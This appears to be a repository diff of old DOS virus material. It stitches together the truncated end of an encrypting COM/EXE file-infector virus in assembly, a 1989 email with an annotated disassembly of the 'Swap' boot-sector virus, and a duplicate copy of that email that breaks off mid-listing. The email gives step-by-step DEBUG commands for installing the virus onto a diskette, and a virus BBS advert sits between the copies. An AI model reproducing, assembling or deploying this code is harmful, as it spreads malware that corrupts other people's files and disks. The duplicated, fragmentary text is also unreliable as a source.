mov word ptr [bp+buffer+2], ax
push cs ; restore ES
pop es
push word ptr [bp+buffer+14h] ; needed later
mov cx, 1ah
jmp short finishinfection
infect_com: ; ax = filesize
mov cx,3
sub ax,cx
lea si,[bp+offset buffer]
lea di,[bp+offset save3]
movsw
movsb
mov byte ptr [si-3],0e9h
mov word ptr [si-2],ax
add ax,103h
push ax ; needed later
finishinfection:
push cx ; Save # bytes to write
xor cx,cx ; Clear attributes
call attributes ; Set file attributes
mov al,2
call open
mov ah,40h ; Write to file
lea dx,[bp+buffer] ; Write from buffer
pop cx ; cx bytes
int 21h
mov ax,4202h ; Move file pointer
xor cx,cx ; to end of file
cwd ; xor dx,dx
int 21h
mov ah,2ch ; Get current time
int 21h ; dh=sec,dl=1/100 sec
mov [bp+decrypt_value],dx ; Set new encryption value
lea di,[bp+code_store]
mov ax,5355h ; push bp,push bx
stosw
lea si,[bp+decrypt] ; Copy encryption function
mov cx,startencrypt-decrypt ; Bytes to move
push si ; Save for later use
push cx
rep movsb
xor byte ptr [bp+decrypt_loop+2],028h ; flip between add/sub
lea si,[bp+write] ; Copy writing function
mov cx,endwrite-write ; Bytes to move
rep movsb
pop cx
pop si
pop dx ; Entry point of virus
push di
push si
push cx
rep movsb ; Copy decryption function
mov ax,5b5dh ; pop bx,pop bp
stosw
mov al,0c3h ; retn
stosb
add dx,offset startencrypt - offset decrypt ; Calculate new
mov word ptr [bp+patch_startencrypt+1],dx ; starting offset of
call code_store ; decryption
pop cx
pop di
pop si
rep movsb ; Restore decryption function
mov ax,5701h ; Restore creation date/time
mov cx,word ptr [bp+newDTA+16h] ; time
mov dx,word ptr [bp+newDTA+18h] ; date
int 21h
mov ah,3eh ; Close file
int 21h
mov ch,0
mov cl,byte ptr [bp+newDTA+15h] ; Restore original
call attributes ; attributes
dec byte ptr [bp+numinfec] ; One mo infection
jnz mo_infections ; Not enough
pop ax ; remove call from stack
jmp done_infections
mo_infections: jmp find_next
open:
mov ah,3dh
lea dx,[bp+newDTA+30] ; filename in DTA
int 21h
xchg ax,bx
ret
attributes:
mov ax,4301h ; Set attributes to cx
lea dx,[bp+newDTA+30] ; filename in DTA
int 21h
ret
write:
pop bx ; Restore file handle
pop bp ; Restore relativeness
mov ah,40h ; Write to file
lea dx,[bp+decrypt] ; Concatenate virus
mov cx,heap-decrypt ; # bytes to write
int 21h
push bx
push bp
endwrite:
int24: ; New int 24h (error) handler
mov al,3 ; Fail call
iret ; Return control
data00 dw 2000,8,2500,8,2000,14,2500,14
dw 2500,14,3000,4,4000,24,3500,12,4000,6
dw 3500,12,4000,4,4500,10,5000,4
dw 5500,15,3000,8,3500,20,3000,8,3500,50
dw 2000,8,2500,8,2000,14,2500,14
dw 2500,14,3000,4,4000,24,3500,12,4000,6
dw 3500,12,4000,4,4500,10,5000,4
dw 5500,15,3000,8,3500,20,3000,8,3500,50
dw 2000,8,2500,8,2000,14,2500,14
dw 2500,14,3000,4,4000,24,3500,12,4000,6
dw 3500,12,4000,4,4500,10,5000,4
dw 5500,15,3000,8,3500,20,3000,8,3500,50
dw 0
data_6 db 2
db 10h
db 'I', 27h, 'll never leave you alo'
db 'ne because, I', 27h, 'm ...'
db 19h, 1Dh, 18h, 19h, 48h, 18h
db 19h, 48h, 18h, 19h, 0Eh, 04h
db 0D6h,0C4h,0D2h,0C4h,0BFh, 20h
db 0D2h, 20h, 20h,0C2h, 20h,0D2h
db 0C4h,0C4h,0BFh, 19h, 2Ah, 18h
db 19h, 10h, 0Bh,0BAh, 19h, 02h
db 0C7h,0C4h,0C4h,0B4h, 20h,0C7h
db 0C4h, 19h, 2Ch, 18h, 19h, 10h
db 09h,0D0h, 19h, 02h,0D0h, 20h
db 20h,0C1h, 20h,0D0h,0C4h,0C4h
db 0D9h, 19h, 2Ah, 18h, 19h, 0Eh
db 04h,0D6h,0C4h,0D2h,0C4h,0BFh
db 20h,0D6h,0C4h,0C4h,0BFh, 20h
db 0D2h,0C4h,0C4h,0BFh, 20h,0D2h
db 20h,0DAh, 19h, 26h, 18h, 19h
db 0Eh, 0Bh,0BAh, 20h,0BAh, 20h
db 0B3h, 20h,0C7h,0C4h,0C4h,0B4h
db 20h,0C7h,0C4h,0C2h,0D9h, 20h
db 0C7h,0C4h,0C1h,0BFh, 19h, 25h
db 18h, 19h, 0Eh, 09h,0D0h, 20h
db 0D0h, 20h,0C1h, 20h,0D0h, 20h
db 20h,0C1h, 20h,0D0h, 20h,0C1h
db 20h, 20h,0D0h, 20h, 20h,0C1h
db 19h, 25h, 18h, 19h, 0Eh, 04h
db 0D2h, 20h,0D2h, 20h,0C2h, 20h
db 0D2h, 20h, 20h,0C2h, 20h,0C4h
db 0D2h,0C4h, 20h,0D6h,0C4h,0D2h
db 0C4h,0BFh, 20h,0D6h,0C4h,0D2h
db 0C4h,0BFh, 20h,0C4h,0D2h,0C4h
db 20h,0D6h,0C4h,0C4h,0BFh, 20h
db 0D6h,0C4h,0C4h,0BFh, 20h,0D6h
db 0C4h,0D2h,0C4h,0BFh, 20h,0D6h
db 0C4h,0C4h,0BFh, 20h,0D6h,0C4h
db 0C4h,0BFh, 20h, 20h, 18h, 19h
db 0Eh, 0Bh,0BAh, 20h,0BAh, 20h
db 0B3h, 20h,0C7h,0C4h,0C4h,0B4h
db 20h, 20h,0BAh, 19h, 03h,0BAh
db 19h, 04h,0BAh, 19h, 03h,0BAh
db 20h, 20h,0BAh, 20h, 20h,0B3h
db 20h,0BAh, 20h,0C4h,0BFh, 19h
db 02h,0BAh, 19h, 02h,0BAh, 20h
db 20h,0B3h, 20h,0BAh
db 20h, 20h
dd 182020B3h ; Data table (indexed access)
db 19h, 0Eh, 09h,0D3h,0C4h,0D0h
db 0C4h,0D9h, 20h,0D0h, 20h, 20h
db 0C1h, 20h,0C4h,0D0h,0C4h, 19h
db 02h,0D0h, 19h, 04h,0D0h, 19h
db 02h,0C4h,0D0h,0C4h, 20h,0D0h
db 20h, 20h,0C1h, 20h,0D3h,0C4h
db 0C4h,0D9h, 19h, 02h,0D0h, 19h
db 02h,0D3h,0C4h,0C4h,0D9h, 20h
db 0D0h, 20h, 20h,0C1h, 20h, 20h
db 18h, 19h, 0Eh, 0Eh, 1Bh,0D2h
db 19h, 04h,0C2h, 20h,0C4h,0C4h
db 0D2h,0C4h,0C4h, 20h,0D2h, 1Ah
db 04h,0C4h,0BFh, 20h,0D2h, 19h
db 04h,0C2h, 20h,0D6h, 1Ah, 04h
db 0C4h,0BFh, 19h, 03h, 04h, 1Bh
db 0D2h, 20h,0D2h, 20h,0D2h, 20h
db 0D2h, 20h,0D2h, 20h,0D2h, 20h
db 0D2h, 20h,0D2h, 20h, 20h, 18h
db 19h, 0Eh, 0Eh, 1Bh,0BAh, 19h
db 04h,0B3h, 19h, 02h,0BAh, 19h
db 02h,0BAh, 19h, 04h,0B3h, 20h
db 0BAh, 19h, 04h,0B3h, 20h,0BAh
db 19h, 09h, 0Bh, 1Bh,0BAh, 20h
db 0BAh, 20h,0BAh, 20h,0BAh, 20h
db 0BAh, 20h,0BAh, 20h,0BAh, 20h
db 0BAh, 20h, 20h, 18h, 19h, 0Eh
db 0Eh, 1Bh,0D3h,0B7h, 19h, 02h
db 0DAh,0D9h, 19h, 02h,0BAh, 19h
db 02h,0C7h,0C4h,0C4h,0C4h,0C2h
db 0C4h,0D9h, 20h,0BAh, 19h, 04h
db 0B3h, 20h,0D3h, 1Ah, 04h,0C4h
db 0BFh, 19h, 03h
db 9, 1Bh, 'o o o o o o o o '
db 18h, 19h, 0Fh, 0Eh, 1Bh,0BAh
db 19h, 02h,0B3h, 19h, 03h,0BAh
db 19h, 02h,0BAh, 19h, 02h,0B3h
db 19h, 02h,0BAh, 19h, 04h,0B3h
db 19h, 06h,0B3h, 19h, 14h, 18h
db 19h, 0Fh,0D3h,0C4h,0C4h,0C4h
db 0D9h, 20h, 20h,0C4h,0C4h,0D0h
db 0C4h,0C4h, 20h,0D0h, 19h, 02h
db 0C1h,0C4h, 20h, 20h,0D3h, 1Ah
db 04h,0C4h,0D9h, 20h,0D3h, 1Ah
db 04h,0C4h,0D9h, 19h, 14h, 18h
data_1e equ 0A0h
exe_mask db '*.exe',0
com_mask db '*.com',0
dot_dot db '..',0
heap: ; Variables not in code
; The following code is the buffer for the write function
code_store: db (startencrypt-decrypt)*2+(endwrite-write)+1 dup (?)
oldint24 dd ? ; Storage for old int 24h handler
backslash db ?
origdir db 64 dup (?) ; Current directory buffer
newDTA db 43 dup (?) ; Temporary DTA
numinfec db ? ; Infections this run
buffer db 1ah dup (?) ; read buffer
endheap: ; End of virus
end entry_point
+551
View File
@@ -0,0 +1,551 @@
From: Jnet%"NYYUVAL@WEIZMANN" "Yuval Tal -8-474592" 15-AUG-1989 19:42:53.22
To: RCSTRN@HEITUE51
CC:
Subj: Swap Virus
Received: From WEIZMANN(VMMAIL) by HEITUE51 with Jnet id 6788
for RCSTRN@HEITUE51; Tue, 15 Aug 89 19:42 N
Received: by WEIZMANN (Mailer R2.03B) id 7639; Tue, 15 Aug 89 20:34:55 +0300
Date: Tue, 15 Aug 89 20:33:34 +0300
From: "Yuval Tal (972)-8-474592" <NYYUVAL@WEIZMANN>
Subject: Swap Virus
To: RCSTRN@HEITUE51
hi....
This is the swap virus that i've told u about..
cheers,
yuval
+------------------------------------------------------+
| The "Swapping" virus |
+------------------------------------------------------+
| |
| Disassembled on: August, 1989 |
| |
| Disassembled by: Yuval Tal |
| |
| Disassembled using: ASMGEN and DEBUG |
| |
+------------------------------------------------------+
Important note: If you find *ANYTHING* that you think I wrote
incorrectly or is-understood something, please let me know ASAP.
You can reach me:
Bitnet: NYYUVAL@WEIZMANN
InterNet: NYYUVAL%WEIZMANN.BITNET@CUNYVM.CUNY.EDU
This text is divided into theree parts:
1) A report about the Swap Virus.
2) A disassembly of the Swap Virus.
3) How to install this virus?
-------------------------------------------------------------------------------
R E P O R T
-------------------------------------------------------------------------------
Virus Name..............: The Swap Virus
Attacks.................: Floppy-disks only
Virus Detection when....: June, 1989
at......: Israel
Length of virus.........: 1. The virus itself is 740 bytes.
2. 2048 bytes in RAM.
Operating system(s).....: PC/MS DOS version 2.0 or later
Identifications.........: A) Boot-sector:
1) Bytes from $16A in the boot sector are:
31 C0 CD 13 B8 02 02 B9 06 27 BA 00 01 CD 13
9A 00 01 00 20 E9 XX XX
2) The first three bytes in the boot sector are:
JMP 0196 (This is, if the boot sector was
loaded to CS:0).
B) FAT: Track 39 sectors 6-7 are marked as bad.
C) The message:
"The Swapping-Virus. (C) June, by the CIA"
is located in bytes 02B5-02E4 on track 39,
sector 7.
Type of infection.......: Stays in RAM, hooks int $8 and int $13.
A diskette is infected when it is inserted into the
drive and ANY command that reads or writes from/to
the diskette is executed. Hard disks are NOT infected!
Infection trigger.......: The virus starts to work after 10 minutes.
Interrupt hooked........: $8 (Timer-Tick - Responsible for the letter dropping)
$13 (Disk Drive - Infects!)
Damage..................: Track 39 sectors 6-7 will be marked as bad in the
FAT.
Damage trigger..........: The damage is done whenever a diskette is infected.
Particularities.........: A diskette will be infected only if track 39 sectors
6-7 are empty.
-------------------------------------------------------------------------------
D I S A S S E M B L Y
-------------------------------------------------------------------------------
;The first thing I did, inorder to dis-assemble this virus, was un-assemling
;it with the U command in DOS's DEBUG utility. Then, I used a dis-assembler
;called ASMGEN to set all the labels and variables in the .ASM file. I then
;compared the two outputs (from DEBUG and from ASMGEN) and updated the .ASM
;file that no command will be missing, added a few things and this is the
;result:
CODE SEGMENT
ASSUME DS:CODE,CS:CODE
ORG 0000H
START: JMP L0353
DATA_BEGIN EQU THIS BYTE
OldInt8 DW 0,0 ;The old interrupt 8: Offset Segment
OldInt13 DW 0,0 ;The old interrupt 13: Offset Segment
RandomNumber DW 0 ;The random number
Flag DB 0
Counter DW 0
Counter2 DW 0
Status DB 0
CHAR DB 0 ;The character that is falling
CHARUNDER DB 0 ;The chacterer that we save
ADDRCHAR DW 0 ;The address of the character in mem.
GOT13 DB 0 ;If interrupt 13 is installed
DISKDRIV DB 0 ;The diskette that we are infecting
DISK DW 0 ;The diskette that we are infecting
DATA_END EQU THIS BYTE
; The following 11 command are written into the boot-sector at address CS:196
; At first I worte the commands, but some of the opcodes weren't the same as
; in the virus so I've exchanged them into opcodes for maximum compability.
StartCmds EQU THIS BYTE
DB 031h,0C0h ;XOR AX,AX
DB 0CDh,013h ;INT 13h
DB 0B8h,002h,002h ;MOV AX,OFFSET 0202h
DB 0B9h,006h,027h ;MOV CX,OFFSET 2706h
DB 0BAh,000h,001h ;MOV DX,OFFSET 0100h
DB 0BBh,000h,020h ;MOV BX,OFFSET 2000h
DB 08Eh,0C3h ;MOV ES,BX
DB 0BBh,000h,000h ;MOV BX,0
DB 0CDh,013h ;INT 13h
DB 09Ah,00h,00h,00h,020h ;Call 2000h:0000
DB 0E9h ;JMP
FirstJMP DW 0FE89h ; 003EH (Don't worry,
; it's the right addres
;------------------------------------------
; This is the new interrupt $13 routine
;------------------------------------------
NewInt13:
PUSHF ;
CMP DL,1h ;Call for drive A: or B:?
JA L0153 ;If not, don't put virus
CMP AH,2h ;Is it a readblock function
JB L0153 ;(AH=2)? No, AH is smaller so
;don't put virus
CMP AH,3h ;Is it a writeblock function
JA L0153 ;(AH=3)? No, AH is bigger so
;don't put virus
INC DL ;Set disk drive to fit the user
;(Drive A=1 ; Drive B=2)
MOV CS:DiskDriv,DL ;Save the drive number
DEC DL ;Set disk drive to fit the int.
;(Drive A=0 ; Drive B=1)
L0153: CALL DWORD PTR CS:OldInt13 ;Call the original int 13
JNB L0160 ;If no error, goto end of
;routine. (JNB=JNC)
MOV BYTE PTR CS:DiskDriv,0 ;If error, DiskDriv=0
L0160: RETF 2 ;Return from routine
;-----------------------------------------------------
; Infect the diskette
;-----------------------------------------------------
L0163: PUSH ES ;
PUSH BP ;Save registers
MOV BP,SP ;
MOV AX,[BP+10h] ;Let AX=CS from the stack
POP BP ;
CMP AX,0200h ;Are we called from the system?
JBE L01BB ;If so, don't infect
MOV BX,CS ;Get the program segment
CMP AX,BX ;Is it the same as one from
JNB L01BB ;stack? If so, don't infect
MOV AX,CS ;
MOV ES,AX ;ES=CS
MOV AL,CS:DiskDriv ;AL=DiskDriv
DEC AL ;Set AL to fit int
XOR AH,AH ;AH=0
MOV CS:Disk,AX ;Save AX
MOV AX,0201h ;Read one sector
MOV BX,0400h ;to buffer CS:400
MOV CX,0003h ;from sector 3, track 0 (FAT)
MOV DX,CS:Disk ;restore the disk drive
INT 13h ;Read it!!!
JB L01BE ;If error, don't infect
MOV AX,0301h ;Write one sector
MOV BX,0400h ;from CS:400
MOV DX,CS:Disk ;the disk drive number
CMP BYTE PTR CS:[BX+13h],0 ;is there something on it?
JNZ L01BE ;yes, don't infect
MOV BYTE PTR CS:[BX+13h],0F7h ;Mark the sector before the
OR BYTE PTR CS:[BX+14h],0Fh ;last one as bad
INT 13h ;Re-write the FAT!
JB L01BE ;If error, don't infect!
JMP SHORT L01C1 ;Continue...
;Note: I have no idea what is the object of the next NOPs.
NOP ;
L01BB: JMP SHORT L022D ;These JMP are for the don't
NOP ;infect...see above!
L01BE: JMP SHORT L0227 ;
NOP ;
L01C1: MOV AX,0201h ;Read one sector to the
MOV BX,0400h ;buffer at CS:400
MOV CX,0001h ;from sector 1, track 0 (boot
MOV DX,CS:Disk ;sector) from diskette
INT 13h ;Read it!
JB L0227 ;If error, don't infect
;A boot sector always start with a JMP to a certain place. This virus changes
;this JMP to
MOV BX,0400h ;Check where does the first
MOV AL,CS:[BX+1] ;JMP jumps to.
XOR AH,AH ;
SUB AX,1B3h ;Reduce 1B3h to calculate the
;real JMP address and
MOV CS:FirstJMP,AX ;save it.
MOV WORD PTR CS:[BX],93E9h ;Change the JMP in the loaded
MOV BYTE PTR CS:[BX+2],1 ;boot-sector (CS:400). E9=JMP
PUSH SI ;
PUSH DI ;
PUSH DS ;Save registers
MOV AX,CS ;
MOV DS,AX ;DS=CS
;Here, the commands which are added to the boot-sector at the 196th byte are
;copied to the loaded boot-sector at address CS:400.
MOV SI,Offset StartCmds ;SI points to commands to add
;to the boot-sector
MOV DI,0596h ;The 196th byte from CS:400
MOV CX,1Fh ;The commands are 1Fh bytes long
CLD ;
REPZ MOVSB ;Copy it!
L0200: POP DS ;
L0201: POP DI ;
L0202: POP SI ;Restore registers
;The loaded and changed boot-sector is re-written to the diskette.
MOV AX,0301h ;Write one sector from
MOV BX,0400h ;CS:400 to
MOV CX,0001h ;sector 1, track 0
MOV DX,CS:Disk ;disk number..
INT 13h ;Write data!
JB L0227 ;If error, don't infect
;Here, the virus is written to the diskette to the marked bad sectors
MOV AX,0302h ;Write two sectors from
MOV BX,0 ;CS:0 (this code!) to
MOV CX,2706h ;track 27h, sector 6
MOV DX,CS:Disk ;disk number..
MOV DH,1h ;side number 1
INT 13h ;Write it!
L0227: MOV BYTE PTR CS:DiskDriv,0 ;In case of error DiskDriv=0
L022D: POP ES ;Restore register
JMP SHORT L02AF ;finished infecting
NOP ;Again, i don't know what is
;this NOP object
;-------------------------------------------
; The new interrupt 13h is installed here
;-------------------------------------------
L0231: XOR AX,AX ;ES points to lowest segment
MOV ES,AX ;in memory
MOV BX,ES:4Ch ;
MOV CS:OldInt13[0],BX ;Save the int vector (offset)
MOV BX,ES:4Eh ;
MOV CS:OldInt13[2],BX ;Save the int vector (segment)
MOV BX,CS ;BX=CS
MOV ES:4Eh,BX ;Change the int vector (segment)
MOV BX,Offset NewInt13 ;BX=Offset of the new int 13
MOV ES:4Ch,BX ;Change the int vector (offset)
MOV BYTE PTR CS:Got13,1 ;Mark flag that int 13 is instal
MOV BYTE PTR CS:Status,0 ;Status=0
JMP L034D ;Continue....
;-----------------------------------------------------
L0267: JMP L0163 ;Infect disk!
;-----------------------------------------------------
;This is the new interrupt $8
;-----------------------------------------------------
L026A: PUSHF ;
CALL DWORD PTR CS:OldInt8 ;Call orginal interrput
PUSH AX ;
PUSH BX ;
PUSH CX ;
PUSH DX ;
PUSH ES ;Save registers
;The virus picks a random number. It does it by adding AX,BX,CX and DX
;to RandomNumber. The values of AX,BX,CX and DX are undefined because an
;hardware interrupt (look6 commands back) was called.
ADD CS:RandomNumber,AX ;\
ADD CS:RandomNumber,BX ; |_ Create random number
ADD CS:RandomNumber,CX ; |
ADD CS:RandomNumber,DX ;/
;I am not sure what the programmer had done next but my guess is that this
;is the time check. The virus starts to work after 10 minuntes or so.
CMP WORD PTR CS:Counter,0443h ;Is my counter>=443h?
JNB L029F ;Yes, it is..
INC WORD PTR CS:Counter ;No, incerase it and also
INC WORD PTR CS:Counter2 ;increase another thing (??)
;and then,
JMP L034D ;goto end of routine
L029F: CMP BYTE PTR CS:Got13,0 ;
JZ L0231
CMP BYTE PTR CS:DiskDriv,0 ;Is diskette infected?
JNZ L0267 ;No, infect it!
L02AF: CMP WORD PTR CS:Counter2,2A9Dh ;??
JNB L02C0 ;??
INC WORD PTR CS:Counter2 ;??
JMP L034D ;Exit routine
;-----------------------------------------------------------------
; This is the main routine which drops the letter from the screen
;-----------------------------------------------------------------
L02C0: MOV BX,0B800h ;Make ES point to the screen
MOV ES,BX ;segment (only cga,ega,mcga)
CMP BYTE PTR CS:Status,0 ;Is status=0?
JNZ L0305 ;No, drop letter
;This is done to make space in the time between the letters fall.
ADD BYTE PTR CS:Flag,4 ;Flag:=Flag+4
CMP BYTE PTR CS:Flag,4 ;Is flag=4?
JNB L034D ;If so, don't drop
MOV BX,CS:RandomNumber ;Set up random number..
MOV CL,5 ;
SHR BX,CL ;first, devide it by 32
SHL BX,1 ;second, multiply it by 2
MOV AL,ES:[BX] ;Save the char we need to drop
CMP AL,20h ;is it a space( )?
JZ L034D ;if so, don't drop
MOV CS:Char,AL ;Save the char
MOV BYTE PTR CS:CharUnder,20h ;The saved char is now ' '
MOV CS:AddrChar,BX ;Svae the address of the char
MOV BYTE PTR CS:Status,1 ;Status=1
L0302: JMP SHORT L034D ;Go to exit
NOP ;
L0305: CMP BYTE PTR CS:Status,2 ;Is Status=2?
JZ L0315 ;If so, continue
INC BYTE PTR CS:Status ;Else, status=status+1
JMP SHORT L034D ;Go to exit
NOP ;
L0315: MOV BYTE PTR CS:Status,1 ;Status:=1
MOV BX,CS:AddrChar ;Put address of character in BX
MOV AL,CS:CharUnder ;and the saved char at AL
MOV ES:[BX],AL ;Erase the letter on the screen
ADD BX,0A0h ;Move pointer to next line
CMP BX,0FA0h ;Did we past end of screen?
JA L0347 ;If so, the dropping has ended
MOV CS:AddrChar,BX ;Save the new address
MOV AL,ES:[BX] ;and the character
MOV CS:CharUnder,AL ;and put the dropping letter
MOV AL,CS:Char ;in the current location
MOV ES:[BX],AL ;
JMP SHORT L034D ;Go to end of routine
NOP ;
L0347: MOV BYTE PTR CS:Status,0 ;Status:=0
;
L034D: POP ES ;Resotre registers
POP DX ;
POP CX ;
POP BX ;
POP AX ;
IRET ;Return from interrupt
;-------------------------------------------------------------------
;This part of the virus initilized the TSR
;-------------------------------------------------------------------
L0353: PUSH DS ;
PUSH ES ;Save registers
MOV AX,CS ;
MOV DS,AX ;Make CS=DS
;First thing, clear all the data area
MOV ES,AX ;ES=DS
MOV DI,OFFSET DATA_BEGIN ;Offset of beginning of data
MOV CX,OFFSET DATA_END-OFFSET DATA_BEGIN ;Length of data
CLD ;Go forward
XOR AL,AL ;Store 0 each time (AL=0)
REPZ STOSB ;Repeat so CX times
;Now, make ES point to the lowest segment in the memory
XOR AX,AX ;
MOV ES,AX ;ES point to lowest segment
;The interrupt vectors are written in the lowest segment so:
;
; 1) Save the interrupt 8 segment and offset for later use
; 2) Read amount of memory (0:413h) and steal 2K (the virus will be put here)
MOV BX,ES:20h ;Get offset of int $8
MOV DS:OldInt8[0],BX ;Save int $8 offset
MOV BX,ES:22h ;Get segment of int $8
MOV DS:OldInt8[2],BX ;Save int $8 segment
MOV AX,ES:413h ;Put amount of mem. in AX,
SUB AX,2 ;steal 2K and
MOV ES:413h,AX ;save the new amount of mem.
;Copy the virus to the highest place in the memory:
MOV CL,6 ;
SHL AX,CL ;Multiply the mem size by 64 and
MOV ES,AX ;make ES point to this segm.
MOV SI,OFFSET START ;SI to begining of this code
MOV DI,SI ;
MOV CX,OFFSET _End-OFFSET Start ;Virus length=_End-Start
CLD ;
REPZ MOVSB ;Copy the virus.
;IMPORTANT: I am not sure that what I am saying in the next paragraph is
; correct. Please let me know if I am wrong
XOR AX,AX ;
MOV DS,AX ;DS point to lowest segment
MOV BX,CS:OldInt8[0] ;Get the offset of int $8 and
MOV BYTE PTR ES:[BX],0CFh ;put 0CFh there (I think it is
;to put IRET).
;OK, now all the virus needs to do is to change the interrupt vector so
;it will point the new $8 interrput.
MOV BX,ES ;
CLI ;
MOV DS:22h,BX ;Change the vector (Segment)
MOV BX,OFFSET L026A ;BX=Offset of new interrupt
MOV DS:20h,BX ;Change the vector (Offset)
STI ;
POP ES ;Restore registers
POP DS ;
RETF ;Return back
;I guess this is the signature of the virus:
DB 'The Swapping-Virus. (C) June, 1989 by the CIA'
_END EQU THIS BYTE
CODE ENDS
;
END START
-------------------------------------------------------------------------------
H O W T O I N S T A L L T H E V I R U S
-------------------------------------------------------------------------------
1) Cut the disassembly from this text.
2) Compile the disassembly. I used Macro Assembler 5.1 in order to compile and
link it but I think that there won't be any trouble using Turbo Assembler.
3) Use EXE2BIN or anything else inorded to make it a .COM file.
4) Format a diskette with the /S option inorder to put the operation system on
it (make sure you format it in 9 sectors per track format).
5) Enter DOS's DEBUG debugger and load the .COM file that you have created.
6) Type: M 100 400 0 this is done inorded to move the virus from CS:100 to
CS:0.
7) Put the diskette you want to infect in drive A.
8) Type: W 0 0 2CC 2 this command will write the virus into sectors 6-7 on
track 39.
9) Type: L 0 0 0 1 this will load the boot sector into the memory.
10) Type: U 0 and remember the number after the JMP in offset 0.
11) Type: A 0
JMP 196 this will execute the virus each time the
diskette is booted.
12) Type: A 196
XOR AX,AX
INT 13
MOV AX,202
MOV CX,2706
MOV DX,100
MOV BX,2000
MOV ES,BX
MOV BX,0
INT 13
CALL 2000:0000
JMP <the number from CS:0>
13) Now, save the boot sector by typing: W 0 0 0 1
That's it! The virus is now installed on your diskette!
+-----------------------------------------------------------------------+
| BitNet: NYYUVL@WEIZMANN CSNet: NYYUVAL@WEIZMANN.BITNET |
| InterNet: NYYUVAL%WEIZMANN.BITNET@CUNYVM.CUNY.EDU |
| |
| Yuval Tal |
| The Weizmann Institute Of Science "To be of not to be" -- Hamlet |
| Rehovot, Israel "Oo-bee-oo-bee-oo" -- Sinatra |
+-----------------------------------------------------------------------+
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> and Remember Don't Forget to Call <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; ÄÄÄÄÄÄÄÄÄÄÄÄ> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <ÄÄÄÄÄÄÄÄÄÄ
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
+551
View File
@@ -0,0 +1,551 @@
From: Jnet%"NYYUVAL@WEIZMANN" "Yuval Tal -8-474592" 15-AUG-1989 19:42:53.22
To: RCSTRN@HEITUE51
CC:
Subj: Swap Virus
Received: From WEIZMANN(VMMAIL) by HEITUE51 with Jnet id 6788
for RCSTRN@HEITUE51; Tue, 15 Aug 89 19:42 N
Received: by WEIZMANN (Mailer R2.03B) id 7639; Tue, 15 Aug 89 20:34:55 +0300
Date: Tue, 15 Aug 89 20:33:34 +0300
From: "Yuval Tal (972)-8-474592" <NYYUVAL@WEIZMANN>
Subject: Swap Virus
To: RCSTRN@HEITUE51
hi....
This is the swap virus that i've told u about..
cheers,
yuval
+------------------------------------------------------+
| The "Swapping" virus |
+------------------------------------------------------+
| |
| Disassembled on: August, 1989 |
| |
| Disassembled by: Yuval Tal |
| |
| Disassembled using: ASMGEN and DEBUG |
| |
+------------------------------------------------------+
Important note: If you find *ANYTHING* that you think I wrote
incorrectly or is-understood something, please let me know ASAP.
You can reach me:
Bitnet: NYYUVAL@WEIZMANN
InterNet: NYYUVAL%WEIZMANN.BITNET@CUNYVM.CUNY.EDU
This text is divided into theree parts:
1) A report about the Swap Virus.
2) A disassembly of the Swap Virus.
3) How to install this virus?
-------------------------------------------------------------------------------
R E P O R T
-------------------------------------------------------------------------------
Virus Name..............: The Swap Virus
Attacks.................: Floppy-disks only
Virus Detection when....: June, 1989
at......: Israel
Length of virus.........: 1. The virus itself is 740 bytes.
2. 2048 bytes in RAM.
Operating system(s).....: PC/MS DOS version 2.0 or later
Identifications.........: A) Boot-sector:
1) Bytes from $16A in the boot sector are:
31 C0 CD 13 B8 02 02 B9 06 27 BA 00 01 CD 13
9A 00 01 00 20 E9 XX XX
2) The first three bytes in the boot sector are:
JMP 0196 (This is, if the boot sector was
loaded to CS:0).
B) FAT: Track 39 sectors 6-7 are marked as bad.
C) The message:
"The Swapping-Virus. (C) June, by the CIA"
is located in bytes 02B5-02E4 on track 39,
sector 7.
Type of infection.......: Stays in RAM, hooks int $8 and int $13.
A diskette is infected when it is inserted into the
drive and ANY command that reads or writes from/to
the diskette is executed. Hard disks are NOT infected!
Infection trigger.......: The virus starts to work after 10 minutes.
Interrupt hooked........: $8 (Timer-Tick - Responsible for the letter dropping)
$13 (Disk Drive - Infects!)
Damage..................: Track 39 sectors 6-7 will be marked as bad in the
FAT.
Damage trigger..........: The damage is done whenever a diskette is infected.
Particularities.........: A diskette will be infected only if track 39 sectors
6-7 are empty.
-------------------------------------------------------------------------------
D I S A S S E M B L Y
-------------------------------------------------------------------------------
;The first thing I did, inorder to dis-assemble this virus, was un-assemling
;it with the U command in DOS's DEBUG utility. Then, I used a dis-assembler
;called ASMGEN to set all the labels and variables in the .ASM file. I then
;compared the two outputs (from DEBUG and from ASMGEN) and updated the .ASM
;file that no command will be missing, added a few things and this is the
;result:
CODE SEGMENT
ASSUME DS:CODE,CS:CODE
ORG 0000H
START: JMP L0353
DATA_BEGIN EQU THIS BYTE
OldInt8 DW 0,0 ;The old interrupt 8: Offset Segment
OldInt13 DW 0,0 ;The old interrupt 13: Offset Segment
RandomNumber DW 0 ;The random number
Flag DB 0
Counter DW 0
Counter2 DW 0
Status DB 0
CHAR DB 0 ;The character that is falling
CHARUNDER DB 0 ;The chacterer that we save
ADDRCHAR DW 0 ;The address of the character in mem.
GOT13 DB 0 ;If interrupt 13 is installed
DISKDRIV DB 0 ;The diskette that we are infecting
DISK DW 0 ;The diskette that we are infecting
DATA_END EQU THIS BYTE
; The following 11 command are written into the boot-sector at address CS:196
; At first I worte the commands, but some of the opcodes weren't the same as
; in the virus so I've exchanged them into opcodes for maximum compability.
StartCmds EQU THIS BYTE
DB 031h,0C0h ;XOR AX,AX
DB 0CDh,013h ;INT 13h
DB 0B8h,002h,002h ;MOV AX,OFFSET 0202h
DB 0B9h,006h,027h ;MOV CX,OFFSET 2706h
DB 0BAh,000h,001h ;MOV DX,OFFSET 0100h
DB 0BBh,000h,020h ;MOV BX,OFFSET 2000h
DB 08Eh,0C3h ;MOV ES,BX
DB 0BBh,000h,000h ;MOV BX,0
